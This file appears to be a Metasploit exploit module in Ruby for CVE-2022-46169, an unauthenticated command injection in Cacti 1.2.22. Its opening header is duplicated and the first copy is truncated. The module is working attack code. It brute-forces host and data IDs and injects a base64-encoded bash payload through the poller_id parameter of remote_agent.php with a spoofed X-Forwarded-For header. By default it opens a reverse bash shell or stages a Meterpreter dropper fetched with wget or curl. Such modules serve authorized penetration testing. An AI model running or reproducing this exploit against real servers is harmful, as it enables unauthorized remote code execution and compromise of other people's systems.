# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti 1.2.22 unauthenticated command injection',
'Description' => %q{
This module exploits an unauthenticated command injection
vulnerability in Cacti through 1.2.22 (CVE-2022-46169) in
order to achieve unauthenticated remote code execution as the
www-data user.
The module first attempts to obtain the Cacti version to see
if the target is affected. If LOCAL_DATA_ID and/or HOST_ID
are not set, the module will try to bruteforce the missing
value(s). If a valid combination is found, the module will
use these to attempt exploitation. If LOCAL_DATA_ID and/or
HOST_ID are both set, the module will immediately attempt
exploitation.
During exploitation, the module sends a GET request to
/remote_agent.php with the action parameter set to polldata
and the X-Forwarded-For header set to the provided value for
X_FORWARDED_FOR_IP (by default 127.0.0.1). In addition, the
poller_id parameter is set to the payload and the host_id
and local_data_id parameters are set to the bruteforced or
provided values. If X_FORWARDED_FOR_IP is set to an address
that is resolvable to a hostname in the poller table, and the
local_data_id and host_id values are vulnerable, the payload
set for poller_id will be executed by the target.
This module has been successfully tested against Cacti
version 1.2.22 running on Ubuntu 21.10 (vulhub docker image)
},
'License' => MSF_LICENSE,
'Author' => [
'Stefan Schiller', # discovery (independent of Steven Seeley)
'Steven Seeley', # (mr_me) @steventseeley - discovery (independent of Stefan Schiller)
'Owen Gong', # @phithon_xg - vulhub PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2022-46169'],
['URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf'], # disclosure and technical details
['URL', 'https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169'], # vulhub vulnerable docker image and PoC
['URL', 'https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution'] # analysis by Stefan Schiller
],
'DefaultOptions' => {
'RPORT' => 8080
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_memory
}
],
[
'Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['echo', 'printf', 'wget', 'curl'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
]
],
'Privileged' => false,
'DisclosureDate' => '2022-12-05',
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Cacti', '/']),
OptString.new('X_FORWARDED_FOR_IP', [true, 'The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.', '127.0.0.1']),
OptInt.new('HOST_ID', [false, 'The host_id value to use. By default, the module will try to bruteforce this.']),
OptInt.new('LOCAL_DATA_ID', [false, 'The local_data_id value to use. By default, the module will try to bruteforce this.'])
])
register_advanced_options([
OptInt.new('MIN_HOST_ID', [true, 'Lower value for the range of possible host_id values to check for', 1]),
OptInt.new('MAX_HOST_ID', [true, 'Upper value for the range of possible host_id values to check for', 5]),
OptInt.new('MIN_LOCAL_DATA_ID', [true, 'Lower value for the range of possible local_data_id values to check for', 1]),
OptInt.new('MAX_LOCAL_DATA_ID', [true, 'Upper value for the range of possible local_data_id values to check for', 100])
])
end
def check
# sanity check to see if the target is likely Cacti
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200 && res.body.include?('<title>Login to Cacti')
return CheckCode::Safe('Target is not a Cacti application.')
end
# get the version
version = res.body.scan(/Version (.*?) | (c)/)&.flatten&.first
if version.blank?
return CheckCode::Detected('Could not determine the Cacti version: the HTTP response body did not match the expected format.')
end
begin
if Rex::Version.new(version) <= Rex::Version.new('1.2.22')
return CheckCode::Appears("The target is Cacti version #{version}")
else
return CheckCode::Safe("The target is Cacti version #{version}")
end
rescue StandardError => e
return CheckCode::Unknown("Failed to obtain a valid Cacti version: #{e}")
end
end
def exploitable_rrd_names
[
'apache_total_kbytes',
'apache_total_hits',
'apache_total_hits',
'apache_total_kbytes',
'apache_cpuload',
'boost_avg_size',
'boost_peak_memory',
'boost_records',
'boost_table',
'ExportDuration',
'ExportGraphs',
'syslogRuntime',
'tholdRuntime',
'polling_time',
'uptime',
]
end
def brute_force_ids
# perform a sanity check first
if @host_id
host_ids = [@host_id]
else
if datastore['MAX_HOST_ID'] < datastore['MIN_HOST_ID']
fail_with(Failure::BadConfig, 'The value for MAX_HOST_ID is lower than MIN_HOST_ID. This is impossible')
end
host_ids = (datastore['MIN_HOST_ID']..datastore['MAX_HOST_ID']).to_a
end
if @local_data_id
local_data_ids = [@local_data_ids]
else
if datastore['MAX_LOCAL_DATA_ID'] < datastore['MIN_LOCAL_DATA_ID']
fail_with(Failure::BadConfig, 'The value for MAX_LOCAL_DATA_ID is lower than MIN_LOCAL_DATA_ID. This is impossible')
end
local_data_ids = (datastore['MIN_LOCAL_DATA_ID']..datastore['MAX_LOCAL_DATA_ID']).to_a
end
# lets make sure the module never performs more than 1,000 possible requests to try and bruteforce host_id and local_data_id
max_attempts = host_ids.length * local_data_ids.length
if max_attempts > 1000
fail_with(Failure::BadConfig, 'The number of possible HOST_ID and LOCAL_DATA_ID combinations exceeds 1000. Please limit this number by adjusting the MIN and MAX options for both parameters.')
end
potential_targets = []
request_ct = 0
print_status("Trying to bruteforce an exploitable host_id and local_data_id by trying up to #{max_attempts} combinations")
host_ids.each do |h_id|
print_status("Enumerating local_data_id values for host_id #{h_id}")
local_data_ids.each do |ld_id|
request_ct += 1
print_status("Performing request #{request_ct}...") if request_ct % 25 == 0
res = send_request_cgi(remote_agent_request(ld_id, h_id, rand(1..1000)))
unless res
print_error('No response received. Aborting bruteforce')
return nil
end
unless res.code == 200
print_error("Received unexpected response code #{res.code}. This shouldn't happen. Aborting bruteforce")
return nil
end
begin
parsed_response = JSON.parse(res.body)
rescue JSON::ParserError
print_error("The response body is not in valid JSON format. This shouldn't happen. Aborting bruteforce")
return nil
end
unless parsed_response.is_a?(Array)
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
return nil
end
# the array can be empty, which is not an error but just means the local_data_id is not exploitable
next if parsed_response.empty?
first_item = parsed_response.first
unless first_item.is_a?(Hash) && ['value', 'rrd_name', 'local_data_id'].all? { |key| first_item.keys.include?(key) }
print_error("The response body is not in the expected format. This shouldn't happen. Aborting bruteforce")
return nil
end
# some data source types that can be exploited have a valid rrd_name. these are included in the exploitable_rrd_names array
# if we encounter one of these, we should assume the local_data_id is exploitable and try to exploit it
# in addition, some data source types have an empty rrd_name but are still exploitable
# however, if the rrd_name is blank, the only way to verify if a local_data_id value corresponds to an exploitable data source, is to actually try and exploit it
# instead of trying to exploit all potential targets of the latter category, let's just save these and print them at the end
# then the user can try to exploit them manually by setting the HOST_ID and LOCAL_DATA_ID options
rrd_name = first_item['rrd_name']
if rrd_name.empty?
potential_targets << [h_id, ld_id]
elsif exploitable_rrd_names.include?(rrd_name)
print_good("Found exploitable local_data_id #{ld_id} for host_id #{h_id}")
return [h_id, ld_id]
else
next # if we have a valid rrd_name but it's not in the exploitable_rrd_names array, we should move on
end
end
end
return nil if potential_targets.empty?
# inform the user about potential targets
print_warning("Identified #{potential_targets.length} host_id - local_data_id combination(s) that may be exploitable, but could not be positively identified as such:")
potential_targets.each do |h_id, ld_id|
print_line(" host_id: #{h_id} - local_data_id: #{ld_id}")
end
print_status('You can try to exploit these by manually configuring the HOST_ID and LOCAL_DATA_ID options')
nil
end
def execute_command(cmd, _opts = {})
# use base64 encoding to get around special char limitations
cmd = "`echo #{Base64.strict_encode64(cmd)} | base64 -d | /bin/bash`"
send_request_cgi(remote_agent_request(@local_data_id, @host_id, cmd), 0)
end
def exploit
@host_id = datastore['HOST_ID'] if datastore['HOST_ID'].present?
@local_data_id = datastore['LOCAL_DATA_ID'] if datastore['LOCAL_DATA_ID'].present?
unless @host_id && @local_data_id
brute_force_result = brute_force_ids
unless brute_force_result
fail_with(Failure::NoTarget, 'Failed to identify an exploitable host_id - local_data_id combination.')
end
@host_id, @local_data_id = brute_force_result
end
if target.arch.first == ARCH_CMD
print_status('Executing the payload. This may take a few seconds...')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
def remote_agent_request(ld_id, h_id, poller_id)
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'remote_agent.php'),
'headers' => {
'X-Forwarded-For' => datastore['X_FORWARDED_FOR_IP']
},
'vars_get' => {
'action' => 'polldata',
'local_data_ids[0]' => ld_id,
'host_id' => h_id,
'poller_id' => poller_id # when bruteforcing, this is a random number, but during exploitation this is the payload
}
}
end
end